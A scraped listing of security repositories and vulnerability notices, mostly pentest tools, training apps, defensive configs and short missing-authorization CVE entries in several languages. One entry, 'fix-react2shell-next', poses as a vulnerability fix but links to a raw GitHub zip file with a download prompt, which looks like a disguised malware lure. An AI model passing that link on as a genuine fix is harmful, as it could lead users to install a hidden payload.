Serverless-Goat

Introduction OWASP ServerlessGoatをご利用いただきありがとうございます！ ​ このサーバーレスアプリケーションは、Serverless Security Top 10 Weaknessesガイド https://github.com/puresec/sas-top-10に記載されている一般的なサーバーレスセキュリティの欠陥を実演します。 ​ ServerlessGoatは、以下の教育目的で作成されました： 開発者とセキュリティ実務者に、一般的なサーバーレスアプリケーション層のリスクと弱点を教えること...

hakkuframework

Hakku Framework Hakku is a simple framework that is made for penetration testing tools. Hakku framework has a simple structure, basic CLI, and useful features for penetration testing modules development. Getting started Use the "help" command to see all available commands. Here is a video if you...

sipcheck

SIPCheck v.3.0 はじめに SIPCheckは、Asteriskのユーザ認証を監視し、間違ったパスワードを使用して登録や発信を試みるユーザ（またはボット）を自動的に禁止するツールです。 Fail2Banとは異なり、SIPCheckは攻撃者だけでなく、信頼できることが証明されているクライアントも管理します。つまり、信頼できるSIPユーザがいる場合、間違ったパスワードを受け取っても禁止しません。なぜなら、そのIPの背後にいる多くのSIPクライアントも一緒に禁止されてしまう可能性があるからです。...

libssh-scanner

libssh スキャナー: CVE-2018-10933. ssh のバナーに基づいて、CVE-2018-10933 の影響を受けるサーバーをスキャンします。 このスキャナーは Leap Security の成果に基づいています。 使用方法 libssh-scan...

hardcidr

hardCIDR Background A Linux Bash script to discover the netblocks, or ranges, in CIDR notation owned by the target organization during the intelligence gathering phase of a penetration test. This information is maintained by the five Regional Internet Registries RIRs: ARIN North America RIPE...

fix-react2shell-next

🚀 fix-react2shell-next - 당신의 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 앱의 취약점을 수정하세요 📥 지금 다운로드 📝 개요 fix-react2shell-next는 당신의 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 또는 React RSC 애플리케이션...

msdat

Quentin HARDY --- [email protected] [email protected] MSDAT MSDAT M icros oft SQL D atabase A ttacking T ool is an open source penetration testing tool that tests the security of Microsoft SQL Databases remotely. Usage examples of MSDAT: You have a Microsoft database listening remotely...

dronesploit

DroneSploit 드론을 쉽게 침투 테스트하세요. 이 CLI 프레임워크는 sploitkit를 기반으로 하며, 드론 해킹 에 특화된 해킹 기술과 익스플로잇을 모아놓은 것입니다. 사용 편의를 위해 인터페이스는 Metasploit과 유사한 레이아웃을 가지고 있습니다. pip3 install dronesploit ⚠️ 프레임워크를 시작하면 모든 모듈이 비활성화 되어 있을 수 있습니다. show issues 명령어로 그 이유를 확인할 수 있습니다. 모듈은 요구 사항이 충족되지 않을 때 비활성화됩니다. 예: aircrack-ng가...

CVE-2026-62042

Missing Authorization vulnerability in unFocus Projects Scripts n Styles scripts-n-styles allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Scripts n Styles: from n/a through 3.5.8...

CVE-2026-39779

Missing Authorization vulnerability in Asgaros Asgaros Forum asgaros-forum allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Asgaros Forum: from n/a through 3.4.0...

OWASPWebGoatPHP

WebGoatPHP OWASP WebGoatPHP 是 OWASP WebGoat 移植到 PHP 和 MySQL/SQLite 数据库的版本。其目标是通过提供挑战形式的课程，创建一个交互式的 Web 应用程序安全教学环境。在每个挑战中，用户必须利用漏洞来展示他们的理解。 WebGoatPHP 支持四种不同的模式：单人模式、工作坊模式、竞赛模式和安全编码模式。 项目提案 项目提案可在此处找到：这里 截图 单人用户模式： 1. 所有课程及其分类的列表 2. 刷新课程和分类列表（如果添加了新课程/分类） 3. 课程内容 4. 将课程重置为初始状态 5. 获取课程的随机提示 6. 显示 G...

KNX-Bus-Dump

KNX 버스 덤프 KNX는 인기 있는 빌딩 자동화 프로토콜로, 스마트 빌딩의 센서, 액추에이터 및 기타 구성 요소를 상호 연결하는 데 사용됩니다. KNX 버스 덤프 도구는 Calimero 자바 라이브러리이 도구를 위해 기여한를 사용하여 KNX 버스를 통해 전송되는 텔레그램을 기록합니다. 특히, 이 도구는 TPUART 연결을 통해 KNX 버스에 액세스하지만 다른 연결 매체를 사용하도록 변경할 수 있습니다. 텔레그램은 Wireshark 호환 16진수 덤프 파일로 덤프됩니다. 타임스탬프는 제공되며 나노초 정밀도의 UTC 시간으로...

EUVD-2026-95746

Missing Authorization vulnerability in bPlugins Before After Image Comparison – Image comparison for WP before-after-image-compare allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Before After Image Comparison – Image comparison for WP: from n/a through...

sysmon-modular

sysmon-modular | A Sysmon configuration repository for everybody to customise Sysmon Modular is a configuration repository for Microsoft Sysinternals Sysmon. Small XML modules make it easier to select, review and maintain the telemetry that is useful to your organisation. The sysmon-modular Go to...

CVE-2019-2725

CVE-2019-2725...

Bramble

🌱 Bramble - 새로운 해킹 오픈소스 스위트 📜 요약 Bramble 소프트웨어는 Bramble 프로젝트를 위해 설계되었습니다. 침투 테스트 및 IT 보안의 많은 기능을 포함하고 있습니다. 사용하기 쉽고 완전히 편집 가능합니다. 초보자가 해킹을 배울 수 있도록 도와주며, 경험이 많은 사용자에게는 커스터마이징 가능한 플러그 앤 플레이 해킹 도구를 제공하여 자신의 코드를 빠르게 추가할 수 있습니다. ♣️ 기여하기 Bramble은 오픈소스 프로젝트로 누구나 기여할 수 있습니다! 새로운 기능을 개발했다면 부끄러워하지 말고 공유해...

ruby-advisory-db

Ruby Advisory Database Ruby Advisory Databaseは、Rubyライブラリに関連するすべてのセキュリティアドバイザリをまとめるコミュニティ活動です。 CVE、GHSA、OSVDB、cvss、または元の脆弱性情報などのデータを他の人が作成することを想定しています。 詳細はこちらをご覧ください。 bundler-auditを使用して、自分のGemfile.lockをこのデータベースと照合できます。 Rubyセキュリティをサポート！ このデータベースに記載されていない脆弱性をご存知ですか？ 問題を開くか、PRを送信してください。 ディレクトリ構造...

joomscan

====== OWASP JoomScan 프로젝트 OWASP Joomla! 취약점 스캐너 JoomScan는 오픈 소스 프로젝트로, Joomla CMS 배포에서 취약점 탐지 및 신뢰성 보장 작업을 자동화하기 위해 개발되었습니다. Perl로 구현된 이 도구는 경량 모듈식 아키텍처로 최소한의 발자국을 남기면서 Joomla 설치를 원활하고 쉽게 스캔할 수 있게 해줍니다. 알려진 공격적 취약점을 탐지할 뿐만 아니라, 공격자가 시스템을 손상시키는 데 악용할 수 있는 많은 잘못된 구성 및 관리자 수준의 결함도 탐지할 수 있습니다. 또한...

Siem-queries-for-CVE-2021-44228

このリポジトリには README がありません。...

CVE-2026-105883 WordPress Th Shop Mania theme <= 1.9.1 - Broken Access Control vulnerability

Missing Authorization vulnerability in ThemeHunk Th Shop Mania th-shop-mania allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Th Shop Mania: from n/a through 1.9.1...